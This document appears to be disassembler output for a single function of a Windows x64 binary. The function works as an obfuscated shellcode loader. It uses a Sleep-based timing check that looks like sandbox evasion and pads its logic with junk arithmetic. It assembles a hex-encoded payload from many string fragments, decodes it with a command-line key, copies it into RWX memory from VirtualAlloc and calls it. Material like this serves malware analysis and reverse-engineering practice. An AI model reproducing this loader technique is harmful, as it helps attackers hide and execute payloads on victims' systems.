Function at 0x140001905
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x5f8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x590], ecx
mov qword [rbp + 0x598], rdx
call fcn.140002470
call sub.msvcrt.dll_clock
mov dword [rbp + 0x56c], eax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov ecx, 0x344
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x568], eax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov ecx, 0x6fe
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x560], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov eax, dword [rbp + 0x568]
sub eax, dword [rbp + 0x56c]
cmp eax, 0x343
jle 0x14000239d
mov eax, dword [rbp + 0x568]
sub eax, dword [rbp + 0x56c]
cmp eax, 0x3a7
jg 0x14000239d
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rcx, str.PgUK
call fcn.140001583
lea rax, str.974448205634b46e401cb06109895ec1a3df76120baa30358896
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.082680b4c5380d047532e73538d5f500c2400baea1bb402d0af472ec2c144f8
mov qword [rbp + 0x550], rax
mov dword [0x14001a014], 0
lea rax, str.593244d06754ef80b8264398ae3048ad500cc891cd731aff09ba97b1b2f894d8580fa21004567bbd0e693
mov qword [rbp + 0x548], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.652c3c8b77d5450c008198f9b815fb3f4c00db398d0da87
mov qword [rbp + 0x540], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.04c44d44f6e544cd2c76
mov qword [rbp + 0x538], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.252ef2565fb9d0811b044fe5728f328ecb4996d7333135
mov qword [rbp + 0x530], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.083c8e28f6d058fe856637f87be8784570381030bf9f4
mov qword [rbp + 0x528], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.298933512235d39e080300e4c5544f6f05c4
mov qword [rbp + 0x520], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.eca623624c9ca4005c549906b0fe704604f57fe9a21e82290350fc0d48146a08400986326
mov qword [rbp + 0x518], rax
mov dword [0x14001a014], 0
lea rax, str.8ec7acce048c01d184c9590080174156451ecfa8d0833e340f44e774480018423658789ae608ce8d18f89246d2310e8d
mov qword [rbp + 0x510], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.e05d16e52f20918c404c5010530c005f2326753e271d4e098a17981b0a
mov qword [rbp + 0x508], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.103d0a4204e2d37d783978f04c64dd843c059e3f725792e4e22ab44f0a1415081a980586a50e
mov qword [rbp + 0x500], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.4a8da7190187d04e787445b4668aea6242ee2825fc480f0720b11a6112af26b380fc4a8b86b0
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.9bf0bec3d854455
mov qword [rbp + 0x4f0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.00fd97623a182bf9d0f8f0fd549b99019a0fde533606d93393016f40588305854
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.c5cf6556726f7840740
mov qword [rbp + 0x4e0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.4631828854
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.19111f5fc30f7e00761e36086854444484e45348f810673faee9a2618b210108888601d85f774df0e6dd2766094e
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.4550004545648d222c763b3f1140e0d7312101480c1a89ff5a504bba4733418a015740d20e840dff37da6625ce83acab4c
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.30b806c1f99391b9c101e0348e80551153588044dffc48476ab9764069771a14b
mov qword [rbp + 0x4c0], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.8328b8d302111988989a49d09f3ef5008075458304543548159c2664a
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.0168094002210201c111d12963b389714d75253
mov qword [rbp + 0x4b0], rax
mov dword [0x14001a014], 0
lea rax, str.b004e5228c454b44dd067ce655ac6fc19742c3620b9180a011ad8b24203846d169a003145884f42
mov qword [rbp + 0x4a8], rax
mov dword [0x14001a010], 0
lea rax, str.4cb3420a17624b4c4930000838bb2851cc1a89a0a2fcb11a50ee1000
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.813847375e7354cbdcda634310f40340043182510837d7171e
mov qword [rbp + 0x498], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.bf550a990797a1a054d437ce58248cc410a9335b83fe05bb4d
mov qword [rbp + 0x490], rax
mov dword [0x14001a010], 0
lea rax, str.228c208e8629902f505be3ea1b594e99fe6140a3540d98f56d17222f67cfaafc8f3528bc19a
mov qword [rbp + 0x488], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.71f8f230830096b80a0e01922145004c55f3c4f5daa04309568de8b3
mov qword [rbp + 0x480], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.fe3b8b1811a1f86bf9ba37
mov qword [rbp + 0x478], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.d1d9def18a58991888d1c044d4f5fc2d36530f22823aa44836b808111959f9f18c0630
mov qword [rbp + 0x470], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.a9d3a6ea25160e5467c4554cd5f3549c42022735d95db90d20619d81815bfd361e950bfef31b6fa20a68043e4c
mov qword [rbp + 0x468], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.046153f13
mov qword [rbp + 0x460], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rax, qword [rbp + 0x598]
add rax, 8
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x458], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400018bc
mov dword [0x14001a014], 0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4aa
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x450]
mov r8d, 0x4aa
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add eax, edx
mov edx, eax
lea rcx, [0x14001b785]
call fcn.140001583
jmp 0x1400023b4
mov dword [0x14001a010], 0
lea rcx, str.PgUK
call fcn.140001583
nop
add rsp, 0x5f8
pop rdi
pop rbp
ret